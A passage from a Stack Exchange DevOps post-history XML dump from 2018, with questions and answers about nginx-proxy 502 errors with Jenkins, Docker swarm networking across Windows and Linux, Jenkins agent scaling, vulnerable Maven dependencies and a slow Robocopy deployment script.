  <row Id="11055" PostHistoryTypeId="2" PostId="3541" RevisionGUID="f2678aaa-b912-4d26-b773-af963971af91" CreationDate="2018-03-04T22:29:06.720" UserId="210" Text="https://github.com/jwilder/nginx-proxy&#xD;&#xA;&#xD;&#xA;    nginx.1    | 2018/03/04 22:24:54 [error] 102#102: *276 no live upstreams&#xD;&#xA;    while connecting to upstream, client: 83.85.143.226, server:&#xD;&#xA;    jenkins.releasesoftwaremoreoften.com, request: &quot;GET / HTTP/2.0&quot;, upstream:&#xD;&#xA;    &quot;http://jenkins.releasesoftwaremoreoften.com/&quot;, host: &#xD;&#xA;    &quot;jenkins.releasesoftwaremoreoften.com&quot;&#xD;&#xA;&#xD;&#xA;The docker-compose file looks as follows:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      jenkins:&#xD;&#xA;        image: jenkins/jenkins:lts&#xD;&#xA;        environment:&#xD;&#xA;          - VIRTUAL_HOST=jenkins.releasesoftwaremoreoften.com&#xD;&#xA;          - VIRTUAL_PORT=8083&#xD;&#xA;        ports:&#xD;&#xA;          - 127.0.0.1:8083:8080&#xD;&#xA;          - 127.0.0.1:50000:50000&#xD;&#xA;        volumes:&#xD;&#xA;          - /usr/local/jenkins/jenkins_home:/var/jenkins_home&#xD;&#xA;        networks:&#xD;&#xA;          - rproxy&#xD;&#xA;          - jenkins&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      jenkins:&#xD;&#xA;      rproxy:&#xD;&#xA;        external:&#xD;&#xA;          name: rproxy&#xD;&#xA;&#xD;&#xA;Another attempt to make it work, was changing the VIRTUAL_HOST to 80, but that did not work as well.&#xD;&#xA;&#xD;&#xA;Navigating to http://jenkins.releasesoftwaremoreoften.com/ returns a 502." ContentLicense="CC BY-SA 3.0" />
  <row Id="11056" PostHistoryTypeId="1" PostId="3541" RevisionGUID="f2678aaa-b912-4d26-b773-af963971af91" CreationDate="2018-03-04T22:29:06.720" UserId="210" Text="How to solve `no live upstreams while connecting to upstream` when trying to rproxy jenkins using jwilder/nginx?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11057" PostHistoryTypeId="3" PostId="3541" RevisionGUID="f2678aaa-b912-4d26-b773-af963971af91" CreationDate="2018-03-04T22:29:06.720" UserId="210" Text="&lt;nginx&gt;&lt;rproxy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11059" PostHistoryTypeId="2" PostId="3542" RevisionGUID="a1118f8c-b3e2-4ed9-a3bd-e4504e5d3bae" CreationDate="2018-03-05T11:01:08.677" UserId="6769" Text="I have the following setup for my docker swarm:&#xD;&#xA;&#xD;&#xA; - two Linux master nodes&#xD;&#xA; - some Linux slave nodes&#xD;&#xA; - Windows slave node&#xD;&#xA;&#xD;&#xA;They are connected with an overlay network. Within the linux nodes everything works as expected.&#xD;&#xA;&#xD;&#xA;But if I'm in a windows container(e.g. microsoft/nanoserver) and I try to ping a linux container with the internal dns name of the container. The DNS resolution works just fine, but the request times out. So far so bad. But it's getting stranger, because my linux container has two IP-addresses one is global loopback and another one which is in the same network. &#xD;&#xA;&#xD;&#xA;Let's say the linux container has xx.xx.xx.2/32 as global lo and xx.xx.xx.3/24. &#xD;&#xA;The internal dns resolves to the ip xx.xx.xx.2. This cannot be pinged from windows containers. But the address xx.xx.xx.3 can be pinged.&#xD;&#xA;If I'm in a linux container, I can ping the xx.xx.xx.2 address. I also can curl the service(port 8080) of the windows container, within a linux container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It's just weird. Has anyone experienced similar issues or can I manipulate the internal dns resolution of docker?&#xD;&#xA;&#xD;&#xA;Also fun to note, it worked earlier. But after a swarm leave and join of the windows node it doesn't anymore.&#xD;&#xA;&#xD;&#xA;Versions:&#xD;&#xA;&#xD;&#xA; - Windows Server 2016 - Docker version 17.06.2-ee-6, build e75fdb8&#xD;&#xA; - RedHat 7.4 (Maipo) - Docker version 17.12.0-ce, build c97c6d6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11060" PostHistoryTypeId="1" PostId="3542" RevisionGUID="a1118f8c-b3e2-4ed9-a3bd-e4504e5d3bae" CreationDate="2018-03-05T11:01:08.677" UserId="6769" Text="Windows Docker in swarm with Linux nodes connection issue" ContentLicense="CC BY-SA 3.0" />
  <row Id="11061" PostHistoryTypeId="3" PostId="3542" RevisionGUID="a1118f8c-b3e2-4ed9-a3bd-e4504e5d3bae" CreationDate="2018-03-05T11:01:08.677" UserId="6769" Text="&lt;windows&gt;&lt;linux&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11066" PostHistoryTypeId="2" PostId="3544" RevisionGUID="8c630121-5034-459f-8220-f4eba5078911" CreationDate="2018-03-05T14:10:21.093" UserId="736" Text="**Is it possible to launch a jenkins agent from within a script in another job?** I'm open to either shell or pipeline options. &#xD;&#xA;&#xD;&#xA;To be clear I don't mean the agent the job is running on itself. I'm talking about spinning up a completely separate agent. &#xD;&#xA;&#xD;&#xA;Sometimes our master gets slammed with unit test requests and will make jobs wait in the queue for 15-20+ minutes instead of just spinning up more agents. I want to see if there's a way to spin an agent up intentionally so I can tie it into a job that polls the queue for wait times." ContentLicense="CC BY-SA 3.0" />
  <row Id="11067" PostHistoryTypeId="1" PostId="3544" RevisionGUID="8c630121-5034-459f-8220-f4eba5078911" CreationDate="2018-03-05T14:10:21.093" UserId="736" Text="Launch jenkins agent from jenkins job?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11068" PostHistoryTypeId="3" PostId="3544" RevisionGUID="8c630121-5034-459f-8220-f4eba5078911" CreationDate="2018-03-05T14:10:21.093" UserId="736" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11069" PostHistoryTypeId="5" PostId="3463" RevisionGUID="df53c1b4-7275-4aae-911a-9a0c6d11521f" CreationDate="2018-03-05T14:24:37.550" UserId="707" Comment="added 243 characters in body" Text="AFAIK there are two official primary repositories for Maven packages (Java language):&#xD;&#xA;&#xD;&#xA; - search.maven.org offered by Sonatype Inc.&#xD;&#xA; - mvnrepository.com offered by a private person @frodriguez&#xD;&#xA;&#xD;&#xA;Now obviously it makes sense to have a complete archive for backward compatibility purposes. However already as mentioned back 2013 in the [interview][1] with Sonatype's CEO, there are lots of downloads for components with known vulnerabilities. So many seem just to not care.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;So is backward compatibility of so much value here? Why not take some action to reduce risks? Of course there is the [OWASP dependency check plugin][3] but I think on long term it is possible to implement a deeper risk prevention strategy.&#xD;&#xA;&#xD;&#xA;Question: What could be a feasible way to motivate Maven and repository makers to establish some kind of early time warning, like issue special headers on download, or and additionally for example **reject download of vulnerable components *by default***? This would in my opinion save a lot of time and electrical power if not to expect every build on the planet to do the check if this can be done centrally effectively.&#xD;&#xA;&#xD;&#xA;UPD. In year 2017, over 80% of projects still [seem not to recognize the risks][4], despite court cases.&#xD;&#xA;&#xD;&#xA;[![2017 State of software supply chain][5]][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static1.1.sqspcdn.com/static/f/702523/22081811/1362352394057/201303-Jackson.pdf&#xD;&#xA;  [2]: https://i.stack.imgur.com/8sMlZ.png&#xD;&#xA;  [3]: https://jeremylong.github.io/DependencyCheck/index.html&#xD;&#xA;  [4]: https://www.sonatype.com/ssc2017&#xD;&#xA;  [5]: https://i.stack.imgur.com/mTkmK.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="11074" PostHistoryTypeId="5" PostId="1008" RevisionGUID="0c357d59-a8a4-4b78-a5e1-9db01c29b381" CreationDate="2018-03-05T14:51:46.277" UserId="2494" Comment="deleted 14 characters in body" Text="Use Kubernetes and Docker. &#xD;&#xA;&#xD;&#xA;I would recommend using the Jenkins Helm chart. It installs with `helm install stable/jenkins` and automatically scales.&#xD;&#xA;&#xD;&#xA;https://github.com/kubernetes/charts/tree/master/stable/jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="11075" PostHistoryTypeId="5" PostId="456" RevisionGUID="44d09882-3576-4c43-8d58-7bb79d329c36" CreationDate="2018-03-05T15:27:03.157" UserId="47" Comment="fixed grammar" Text="There are no *fundamental* technical issues with running multiple jenkins slaves on the same machine. In fact [Running Multiple Slaves on the Same Machine][1] lists several good reasons for doing it:&#xD;&#xA;&#xD;&#xA;&gt; While the correct use of executors largely obviates the need for&#xD;&#xA;&gt; multiple slave instances on the same machine, there are some unique&#xD;&#xA;&gt; use cases to consider:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - You want more configurability between the configured nodes. Say you have one node set to be used as much as possible, and the other node&#xD;&#xA;&gt; to be used only when needed.&#xD;&#xA;&gt; - You may have multiple Jenkins master installations building different things, and so this configuration would allow you to have&#xD;&#xA;&gt; slaves for more than one master on the same box. That's right, with&#xD;&#xA;&gt; Jenkins you really can serve two masters.&#xD;&#xA;&gt; - You may wish to leverage the easiness of starting/stopping/replacing virtual machines, perhaps in conjunction with Jenkins plugins such as&#xD;&#xA;&gt; the [Libvirt Slaves Plugin][3].&#xD;&#xA;&gt; - You wish to maximize your hardware investment and utilization, at the same time minimizing operating cost (e.g. utility expenses for&#xD;&#xA;&gt; running idling slaves).&#xD;&#xA;&#xD;&#xA;*In general* scaling out is preferred, primarily because ability to scale up is typically limited by the types/sizes of the available physical resources.&#xD;&#xA;&#xD;&#xA;In particular for augmenting build power I'd recommend an analysis of your **actual** build  to determine how it uses the machine resources, which/where its bottlenecks are and what scalability limitations it raises to reveal if scaling up even helps. &#xD;&#xA;&#xD;&#xA;For example I encountered cases in which the build time for 2 parallel builds on the same machine was longer than the combined build times of the same 2 builds executed sequentially (non-overlapping) on the same machine. In such case I wouldn't even consider scaling up as it would actually *decrease* the overall building capacity.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Distributed+builds#Distributedbuilds-RunningMultipleSlavesontheSameMachine&#xD;&#xA;  [3]: https://wiki.jenkins-ci.org/display/JENKINS/Libvirt+Slaves+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="11076" PostHistoryTypeId="5" PostId="3522" RevisionGUID="936d101d-10dc-4862-a976-92e16beba61e" CreationDate="2018-03-05T16:33:48.517" UserId="6578" Comment="added 697 characters in body" Text="I can provide some personal experience here. I worked at a company that had the same need. The product was a BeagleBone (like an Arduino or Raspberry Pi) that ran our software and sent data back to our SaaS. It had to be installed inside customer networks, and be a little black box that they didn't touch.&#xD;&#xA;&#xD;&#xA;When I walked into this company, management of the systems was a nightmare. Networking was a nightmare. OS updates, keeping them online, shipping new versions of the software, etc... it was a nightmare.&#xD;&#xA;&#xD;&#xA;The path we ended up choosing ended up working really well: The entire application and supporting packages was shipped as a Docker container. That allowed us to easily ship application code changes and control versions of any supporting software (ffmpg, gcc, etc...).&#xD;&#xA;&#xD;&#xA;With the application abstracted, that simply left making the OS as minimal as possible. All we needed was a dead simple OS that could run docker. One of our low level engineers actually made our own in-house fork of Debian (if I remember) and we shipped that embedded directly into the devices.&#xD;&#xA;&#xD;&#xA;We already had a service contract with all of our customers to service these machines yearly, so when our field technician went on-site, the procedure was to replace the entire unit with a fresh hardware that came with the latest embedded OS. We didn't have to make many OS changes just to run Docker, so often times swapping wasn't even necessary. But out of procedure, we always swapped hardware whether it was an emergency service call or the yearly maintenance.&#xD;&#xA;&#xD;&#xA;I can't say if this would be a standard approach or not, but just that it worked really well for us and was a life saver. It sounds like your idea of shipping the OS as an immutable image is along the same lines.&#xD;&#xA;&#xD;&#xA;**Edit**: When I left, we were still using home grown bash scripts to automate the Docker container deployments, but the idea was to move toward a config management tool (Like Chef, Salt, or Ansible). The basic premise is that you have a _private_ Docker registry somewhere, then on the devices you would simply run a couple commands:&#xD;&#xA;&#xD;&#xA;    docker pull my-private-registry:my-custom-image:latest&#xD;&#xA;    docker run my-custom-image:latest&#xD;&#xA;&#xD;&#xA;If you are going to always be using the 'latest' tag, you could then have your devices ship with a cronjob that has then always shut down their local running Docker container, and re-pull the 'latest' tag every week during a scheduled maintenance window." ContentLicense="CC BY-SA 3.0" />
  <row Id="11077" PostHistoryTypeId="2" PostId="3546" RevisionGUID="88680bbe-d5ea-42e7-8ef1-775088d2a2be" CreationDate="2018-03-05T17:04:04.607" UserId="2845" Text="Red Hat used to brand Spacewalk as &quot;Red Hat Satellite 5&quot; and [decided to scrap it and build a new toolset](https://en.wikipedia.org/wiki/Satellite_(software)#Red_Hat_Satellite_5) from the ground up. Red Hat then based what they now brand as &quot;Red Hat Satellite 6&quot; on the [Katello plugin](https://www.theforeman.org/plugins/katello/) for [The Foreman](https://www.theforeman.org/).&#xD;&#xA;&#xD;&#xA;In addition, the Foreman also has plugins for Docker, Puppet, and several other related systems.&#xD;&#xA;&#xD;&#xA;But to be honest, the system is a bit rough and needs some polish. I frequently bump up against bugs and have to expend quite a bit of time making all the pieces work together properly - though it is still very cool and powerful.&#xD;&#xA;&#xD;&#xA;You may, however, have an issue with any client networks that have strict security requirements. At my employer, we are not allowed to directly connect to the internet and are barely able to use proxies which require a rigorous security review and then we are still quite limited, so that might need to be a consideration for your updates model - You will be a no-go on those types of customers. On the other hand, that's part of the advantage of the &quot;As-a-service&quot; model. You don't have to worry about it or maintain it, so you will pick up more small-and-medium business as customers." ContentLicense="CC BY-SA 3.0" />
  <row Id="11079" PostHistoryTypeId="2" PostId="3548" RevisionGUID="e9950b3a-cabf-4fab-806b-3576330ce422" CreationDate="2018-03-05T20:24:28.700" UserId="6775" Text="You need to separate your daily authentication method of the CD authentication.&#xD;&#xA;&#xD;&#xA;You should start understanding the different methods that K8S offers https://kubernetes.io/docs/admin/authentication/&#xD;&#xA;&#xD;&#xA;On the other hand if you use some cloud solution like GCP you can benefit of the service account that the platform puts in all your instances, setting the right permissions to a service account allow you to to controll any cluster inside your project like in your local machine." ContentLicense="CC BY-SA 3.0" />
  <row Id="11080" PostHistoryTypeId="2" PostId="3549" RevisionGUID="65d9954d-90b4-43b2-8b3d-e93357b5462b" CreationDate="2018-03-05T20:54:43.950" UserId="6769" Text="We have a jenkins master which has like 10 agents connected via ssh, usually they are down. But when a build starts, jenkins starts an agent automatically(It launches the jar file over ssh).&#xD;&#xA;&#xD;&#xA;So I would believe jenkins should solve that problem with the build in logic. If the queue is full it starts up agents which are currently offline.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11083" PostHistoryTypeId="2" PostId="3550" RevisionGUID="3ae00b87-33e8-4829-ba03-c7cbb40b2aa1" CreationDate="2018-03-05T22:13:34.260" UserId="6618" Text="I think Windows Server 2016 needs at least 17.09 Docker EE to support overlay networking and VIP's. I [recommend updating it][1].&#xD;&#xA;&#xD;&#xA;Also, you [want a minimum of 3 manager nodes][2] to follow raft consensus rules in a Swarm. 2 managers actually makes it less fault-tolerant then 1 manager.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/install/windows/docker-ee/#update-docker-ee&#xD;&#xA;  [2]: https://docs.docker.com/engine/swarm/admin_guide/#add-manager-nodes-for-fault-tolerance" ContentLicense="CC BY-SA 3.0" />
  <row Id="11084" PostHistoryTypeId="5" PostId="3522" RevisionGUID="263bce6d-e8c4-446d-a200-1f4cf01969bf" CreationDate="2018-03-05T22:51:50.603" UserId="6578" Comment="edited body" Text="I can provide some personal experience here. I worked at a company that had the same need. The product was a BeagleBone (like an Arduino or Raspberry Pi) that ran our software and sent data back to our SaaS. It had to be installed inside customer networks, and be a little black box that they didn't touch.&#xD;&#xA;&#xD;&#xA;When I walked into this company, management of the systems was a nightmare. Networking was a nightmare. OS updates, keeping them online, shipping new versions of the software, etc... it was a nightmare.&#xD;&#xA;&#xD;&#xA;The path we ended up choosing ended up working really well: The entire application and supporting packages was shipped as a Docker container. That allowed us to easily ship application code changes and control versions of any supporting software (ffmpg, gcc, etc...).&#xD;&#xA;&#xD;&#xA;With the application abstracted, that simply left making the OS as minimal as possible. All we needed was a dead simple OS that could run docker. One of our low level engineers actually made our own in-house fork of Debian (if I remember) and we shipped that embedded directly into the devices.&#xD;&#xA;&#xD;&#xA;We already had a service contract with all of our customers to service these machines yearly, so when our field technician went on-site, the procedure was to replace the entire unit with a fresh hardware that came with the latest embedded OS. We didn't have to make many OS changes just to run Docker, so often times swapping wasn't even necessary. But out of procedure, we always swapped hardware whether it was an emergency service call or the yearly maintenance.&#xD;&#xA;&#xD;&#xA;I can't say if this would be a standard approach or not, but just that it worked really well for us and was a life saver. It sounds like your idea of shipping the OS as an immutable image is along the same lines.&#xD;&#xA;&#xD;&#xA;**Edit**: When I left, we were still using home grown bash scripts to automate the Docker container deployments, but the idea was to move toward a config management tool (Like Chef, Salt, or Ansible). The basic premise is that you have a _private_ Docker registry somewhere, then on the devices you would simply run a couple commands:&#xD;&#xA;&#xD;&#xA;    docker pull my-private-registry/my-custom-image:latest&#xD;&#xA;    docker run my-custom-image:latest&#xD;&#xA;&#xD;&#xA;If you are going to always be using the 'latest' tag, you could then have your devices ship with a cronjob that has then always shut down their local running Docker container, and re-pull the 'latest' tag every week during a scheduled maintenance window." ContentLicense="CC BY-SA 3.0" />
  <row Id="11086" PostHistoryTypeId="2" PostId="3551" RevisionGUID="44cf8ccd-97ed-4186-aa19-f6d93f120629" CreationDate="2018-03-06T00:15:37.970" UserId="6778" Text="I'm working to automate the deployment process for a Fullstack application using Jenkins. The app is deployed on a Windows Server. The .cmd script I have to automatically deploy the app is this: &#xD;&#xA;&#xD;&#xA;    @ECHO OFF&#xD;&#xA;    REM SET THE PARAMETERS FOR THE SCRIPT TO RUN&#xD;&#xA;    SET CONFIG_ENV=%1&#xD;&#xA;    SET SERVER_DOMAIN=%2&#xD;&#xA;    SET ADMIN_LOGIN=%3&#xD;&#xA;    SET ADMIN_PASS=%4&#xD;&#xA;    SET ARTIFACT_DIR=%~5&#xD;&#xA;    SET DROPFOLDER_PATH=%~6&#xD;&#xA;    SET DEPLOY_PATH=%~7&#xD;&#xA;    SET SERVICE_NAME=%8&#xD;&#xA;    &#xD;&#xA;    REM ECHO THE PARAMETERS OUT TO THE CONSOLE (SO WE CAN SEE WHAT'S GOING ON)&#xD;&#xA;    ECHO ...&#xD;&#xA;    ECHO RUNNING WCF AUTO DEPLOYMENT. PARAMETERS ARE: &#xD;&#xA;    ECHO CONFIG_ENV      : %CONFIG_ENV%&#xD;&#xA;    ECHO SERVER_DOMAIN   : %SERVER_DOMAIN%&#xD;&#xA;    ECHO ADMIN_LOGIN     : %ADMIN_LOGIN%&#xD;&#xA;    ECHO ADMIN_PASS      : %ADMIN_PASS%&#xD;&#xA;    ECHO ARTIFACT_DIR    : %ARTIFACT_DIR%&#xD;&#xA;    ECHO DROPFOLDER_PATH : %DROPFOLDER_PATH%&#xD;&#xA;    ECHO DEPLOY_PATH     : %DEPLOY_PATH%&#xD;&#xA;    ECHO SERVICE_NAME    : %SERVICE_NAME%&#xD;&#xA;    ECHO ...&#xD;&#xA;    &#xD;&#xA;    REM SELECT THE LATEST SET OF RELEASE ARTIFACTS FROM THE DSL &#xD;&#xA;    FOR /F &quot;delims=&quot; %%i IN ('dir &quot;%ARTIFACT_DIR%&quot; /b /ad-h /t:c /od') DO SET latest_build=%%i&#xD;&#xA;    ECHO DEPLOYING ARTIFACTS IN: %ARTIFACT_DIR%\%latest_build% (latest build)&#xD;&#xA;    ECHO DEPLOYING TO &quot;\\%SERVER_DOMAIN%\%DROPFOLDER_PATH%&quot;&#xD;&#xA;    ECHO ...&#xD;&#xA;    REM LOGIN TO DEPLOY TO THE SERVER &#xD;&#xA;    net use \\%SERVER_DOMAIN% %ADMIN_PASS% /USER:%ADMIN_LOGIN% &#xD;&#xA;    &#xD;&#xA;    REM COPY ALL THE RELEASE ARTIFACTS TO THE DROP LOCATION ON THE SERVER&#xD;&#xA;    ECHO COPYING ARTIFACTS TO DROP FOLDER&#xD;&#xA;    ROBOCOPY &quot;%ARTIFACT_DIR%\%latest_build%&quot; &quot;\\%SERVER_DOMAIN%\%DROPFOLDER_PATH%&quot; /MIR /is /it /np /r:1 /w:1 /eta /tee /copy:DT&#xD;&#xA;    ECHO ...&#xD;&#xA;    &#xD;&#xA;    REM STOP THE SERVICE SO THAT WE CAN UPDATE THE FILES &#xD;&#xA;    ECHO STOPPING THE SERVICE&#xD;&#xA;    SC \\%SERVER_DOMAIN% STOP %SERVICE_NAME%&#xD;&#xA;    ECHO ...&#xD;&#xA;    &#xD;&#xA;    REM COPY ALL THE .DLLs and .EXEs FILES&#xD;&#xA;    ECHO COPYING .DLL AND .EXE FILES&#xD;&#xA;    ROBOCOPY &quot;\\%SERVER_DOMAIN%\%DROPFOLDER_PATH%&quot; &quot;\\%SERVER_DOMAIN%\%DEPLOY_PATH%&quot; *.dll *.exe /is /it /np /r:1 /w:1 /eta /tee /copy:DT&#xD;&#xA;    ECHO ...&#xD;&#xA;    &#xD;&#xA;    REM COPY THE APPROPRIATE CONFIGURATION FILE FOR THE ENVIRONMENT&#xD;&#xA;    ECHO COPYING CONFIGURATION FILE&#xD;&#xA;    ROBOCOPY &quot;\\%SERVER_DOMAIN%\%DROPFOLDER_PATH%\Configuration_Files\%CONFIG_ENV%&quot; &quot;\\%SERVER_DOMAIN%\%DEPLOY_PATH%&quot; *.config /is /it /np /r:1 /w:1 /eta /tee /copy:DT&#xD;&#xA;    ECHO ...&#xD;&#xA;    &#xD;&#xA;    REM START THE SERVICE BACK UP AGAIN&#xD;&#xA;    ECHO STARTING THE SERVICE&#xD;&#xA;    SC \\%SERVER_DOMAIN% START %SERVICE_NAME%&#xD;&#xA;    ECHO ...&#xD;&#xA;    &#xD;&#xA;    REM AND WE ARE DONE&#xD;&#xA;    ECHO SCRIPT COMPLETE&#xD;&#xA;&#xD;&#xA;If I run the script directly from where it's located on the Jenkins Server, the script finishes in a matter of seconds. However, when I queue the script to run from a Jenkins job, the ROBOCOPY command takes roughly a minute to copy each file. &#xD;&#xA;&#xD;&#xA;[![Excecute Script To Run on Jenkins][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![ROBOCOPY runs slowly when started from Jenkins Job][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I just run the same script directly on the (exact same) Jenkins server, the process runs a lot faster.&#xD;&#xA;&#xD;&#xA;[![Robocopy runs quickly when started directly][3]][3] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ddxro.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/0bvaY.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/WFWeu.png&#xD;&#xA;&#xD;&#xA;What is causing the process to run slowly and how can I make the script run faster when executed from the Jenkins Job?    " ContentLicense="CC BY-SA 3.0" />
  <row Id="11087" PostHistoryTypeId="1" PostId="3551" RevisionGUID="44cf8ccd-97ed-4186-aa19-f6d93f120629" CreationDate="2018-03-06T00:15:37.970" UserId="6778" Text="Robocopy is Running Slowly on Jenkins Server" ContentLicense="CC BY-SA 3.0" />
  <row Id="11088" PostHistoryTypeId="3" PostId="3551" RevisionGUID="44cf8ccd-97ed-4186-aa19-f6d93f120629" CreationDate="2018-03-06T00:15:37.970" UserId="6778" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11089" PostHistoryTypeId="2" PostId="3552" RevisionGUID="b534fcf6-12f5-43fc-adf5-0d4a352a372f" CreationDate="2018-03-06T06:55:52.080" UserId="6781" Text="I have 2 pods running in my kubernates cluster. One is simple wordpress application and 2nd contains mysql db. Now wordpress is communicating with mysqldb. &#xD;&#xA;&#xD;&#xA;I want to find this dependancies between pods. Is there any kubectl command or any tool like prometheus by which I can find dependancies between pods inside kubernates cluster?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11090" PostHistoryTypeId="1" PostId="3552" RevisionGUID="b534fcf6-12f5-43fc-adf5-0d4a352a372f" CreationDate="2018-03-06T06:55:52.080" UserId="6781" Text="How to find inter-dependency between pods in kubernates cluster?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11091" PostHistoryTypeId="3" PostId="3552" RevisionGUID="b534fcf6-12f5-43fc-adf5-0d4a352a372f" CreationDate="2018-03-06T06:55:52.080" UserId="6781" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;minikube&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11100" PostHistoryTypeId="10" PostId="2465" RevisionGUID="886f0a8c-be43-4091-9b0b-7af33c9a1056" CreationDate="2018-03-06T17:20:37.237" UserId="-1" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;}]}" />
  <row Id="11101" PostHistoryTypeId="2" PostId="3555" RevisionGUID="3a778c8b-326b-4586-bb11-54ba80b836dc" CreationDate="2018-03-06T20:59:24.590" UserId="4328" Text="What you are looking for is called **dynamic provisioning** of Jenkins' slaves, and yes this is doable. Setting it up depends upon your desired infrastructure provider/resource. The easiest example in my opinion is using AWS EC2 instances. Install the [Amazon EC2 Plugin][1] for Jenkins, and configure it with the appropriate access keys, IAM roles, etc. to allow it to provision EC2 instances in a specified VPC. Here is a short (but slightly outdated) [guide][2]. &#xD;&#xA;&#xD;&#xA;If you are moving to K8's and Docker, you may want to consider looking into the [Docker Plugin][3] for Jenkins. If you are using bare bones infrastructure, this should allow you to more effectively utilize what current hardware you have. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Amazon+EC2+Plugin&#xD;&#xA;  [2]: https://www.cakesolutions.net/teamblogs/jenkins-and-on-demand-slaves-in-aws&#xD;&#xA;  [3]: https://wiki.jenkins.io/display/JENKINS/Docker+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="11103" PostHistoryTypeId="2" PostId="3556" RevisionGUID="056dc0da-394c-4a77-82af-43d0a9c7b65c" CreationDate="2018-03-07T04:18:01.050" UserId="6544" Text="**Background**&#xD;&#xA;&#xD;&#xA;* I am tasked with setting up a Chef server on our Azure Cloud for a new DevOps automation project. &#xD;&#xA;* We are using the Resource Manager model for Azure, in case it's relevant.&#xD;&#xA;* We will likely use free versions of Chef i.e. Chef Automate is not an option.&#xD;&#xA;&#xD;&#xA;**Objective**&#xD;&#xA;&#xD;&#xA;I am new to Chef and Azure, but I would like to _try_ to do it the &quot;right&quot; way from the start. Specifically: Given the Chef server will eventually become an indispensable part of the DevOps infrastructure I want to make it provisionable through code.&#xD;&#xA;&#xD;&#xA;To move toward achieving these objectives I have explored the following options. &#xD;&#xA;&#xD;&#xA;**Option 1: Chef to provision Chef Server**&#xD;&#xA;&#xD;&#xA;Use [Chef Server cookbooks](https://github.com/chef-cookbooks/chef-server) and Chef solo to provision Chef server.&#xD;&#xA;&#xD;&#xA;In such a scenario, my main question is: how do I _create_ the Chef server VM and make Chef Solo discover it?&#xD;&#xA;&#xD;&#xA;**Option 2: Use Azure CLI + RM Templates**&#xD;&#xA;&#xD;&#xA;1. Manually create Azure VM &#xD;&#xA;1. Manually install Chef server&#xD;&#xA;1. Save it as an image and Azure RM template&#xD;&#xA;1. Use Azure CLI to provision from the RM Template and Image.&#xD;&#xA;&#xD;&#xA;I am angling toward this option, but I have some anecdotal opinions from teammates, that Azure RM Templates wll not be declarative. Are they? &#xD;&#xA;&#xD;&#xA;**Option 3: Use Vagrant  + Azure Provider + Chef Solo**&#xD;&#xA;&#xD;&#xA;1. (This option is primarily because I am comfortable with Vagrant)&#xD;&#xA;1. The main advantage of this option is that I think it will eliminate the question I had in Option 1. Is my assumption here correct?&#xD;&#xA;1. However, I think this option does not work for a permanent infrastructure like Chef Server, I think Vagrant is more useful when you have _disposable cloud-based virtualized environments._ Is my understanding here correct?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11104" PostHistoryTypeId="1" PostId="3556" RevisionGUID="056dc0da-394c-4a77-82af-43d0a9c7b65c" CreationDate="2018-03-07T04:18:01.050" UserId="6544" Text="What is a suitable strategy for provisioning Chef Server through code?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11105" PostHistoryTypeId="3" PostId="3556" RevisionGUID="056dc0da-394c-4a77-82af-43d0a9c7b65c" CreationDate="2018-03-07T04:18:01.050" UserId="6544" Text="&lt;chef&gt;&lt;azure&gt;&lt;vagrant&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11106" PostHistoryTypeId="5" PostId="3556" RevisionGUID="f754f77e-a38d-4252-b85d-a4a3c77d5c81" CreationDate="2018-03-07T08:02:12.147" UserId="6544" Comment="added 108 characters in body" Text="**Background**&#xD;&#xA;&#xD;&#xA;* I am tasked with setting up a Chef server on our Azure Cloud for a new DevOps automation project. &#xD;&#xA;* We are using the Resource Manager model for Azure, in case it's relevant.&#xD;&#xA;* We will likely use free versions of Chef i.e. Chef Automate is not an option.&#xD;&#xA;&#xD;&#xA;**Objective**&#xD;&#xA;&#xD;&#xA;I am new to Chef and Azure, but I would like to _try_ to do it the &quot;right&quot; way from the start. Specifically: Given the Chef server will eventually become an indispensable part of the DevOps infrastructure I want to make it provisionable through code.&#xD;&#xA;&#xD;&#xA;To move toward achieving these objectives I have explored the following options. &#xD;&#xA;&#xD;&#xA;**Option 1: Chef to provision Chef 